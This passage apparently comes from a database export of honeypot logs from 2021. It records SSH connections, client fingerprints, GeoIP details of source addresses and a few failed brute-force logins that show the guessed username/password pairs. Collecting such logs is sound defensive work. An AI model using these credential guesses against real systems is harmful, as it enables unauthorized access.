"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59842, "dest_port": 22, "timestamp": "2021-09-20T11:13:55.774136", "@timestamp": "2021-09-20T11:13:55.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27090	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:55.793155+03	2021-09-20 14:15:14.123648+03	{"_id": "mAbpAnwBvYTbRNuEnCY-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "16898c07b5df", "@version": "1", "duration": 2.8736753463745117, "timestamp": "2021-09-20T11:13:55.793155Z", "@timestamp": "2021-09-20T11:13:55.793Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27091	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:56.171058+03	2021-09-20 14:15:14.124674+03	{"_id": "mQbpAnwBvYTbRNuEnCY-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7cc8550af0ac", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:56.171058Z", "@timestamp": "2021-09-20T11:13:56.171Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27092	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:56.168154+03	2021-09-20 14:15:14.125679+03	{"_id": "mgbpAnwBvYTbRNuEnCZB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:55788 (192.168.176.2:22) [session: 7cc8550af0ac]", "session": "7cc8550af0ac", "@version": "1", "protocol": "ssh", "src_port": 55788, "dest_port": 22, "timestamp": "2021-09-20T11:13:56.168154Z", "@timestamp": "2021-09-20T11:13:56.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27291	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:14:03.865526+03	2021-09-20 14:15:14.385647+03	{"_id": "CwbpAnwBvYTbRNuEuyeH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.login.failed", "message": "login attempt [qdp/qdp] failed", "session": "03109d0ba139", "@version": "1", "password": "qdp", "username": "qdp", "timestamp": "2021-09-20T11:14:03.865526Z", "@timestamp": "2021-09-20T11:14:03.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27093	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:13:55.77443+03	2021-09-20 14:15:14.126675+03	{"_id": "pAbpAnwBvYTbRNuEnCZB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ae8a5001f00b", "@version": "1", "timestamp": "2021-09-20T11:13:55.774430Z", "@timestamp": "2021-09-20T11:13:55.774Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27094	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:13:56.409249+03	2021-09-20 14:15:14.128676+03	{"_id": "pQbpAnwBvYTbRNuEnCZB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7cc8550af0ac", "@version": "1", "timestamp": "2021-09-20T11:13:56.409249Z", "@timestamp": "2021-09-20T11:13:56.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27095	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:13:41.689791+03	2021-09-20 14:15:14.129675+03	{"_id": "mQbpAnwBvYTbRNuEYyWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 36295, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1825, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1868235291328840, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 58665, "timestamp": "2021-09-20T11:13:41.689791Z", "@timestamp": "2021-09-20T11:13:41.689Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
27096	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:42.140942+03	2021-09-20 14:15:14.130677+03	{"_id": "mgbpAnwBvYTbRNuEYyWX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 51135560140709, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40576, "dest_port": 22, "timestamp": "2021-09-20T11:13:42.140942Z", "@timestamp": "2021-09-20T11:13:42.140Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27108	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:45.427327+03	2021-09-20 14:15:14.148646+03	{"_id": "6wbpAnwBvYTbRNuEcSU9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/q1w2e3r4] failed", "session": "af796e801c39", "@version": "1", "password": "q1w2e3r4", "username": "test", "timestamp": "2021-09-20T11:13:45.427327Z", "@timestamp": "2021-09-20T11:13:45.427Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27097	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:41.761892+03	2021-09-20 14:15:14.132647+03	{"_id": "mwbpAnwBvYTbRNuEZCXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34930, "dest_port": 443, "timestamp": "2021-09-20T11:13:41.761892", "@timestamp": "2021-09-20T11:13:41.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
27098	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:42.19112+03	2021-09-20 14:15:14.133675+03	{"_id": "nQbpAnwBvYTbRNuEZCXF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40576, "dest_port": 22, "timestamp": "2021-09-20T11:13:42.191120", "@timestamp": "2021-09-20T11:13:42.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
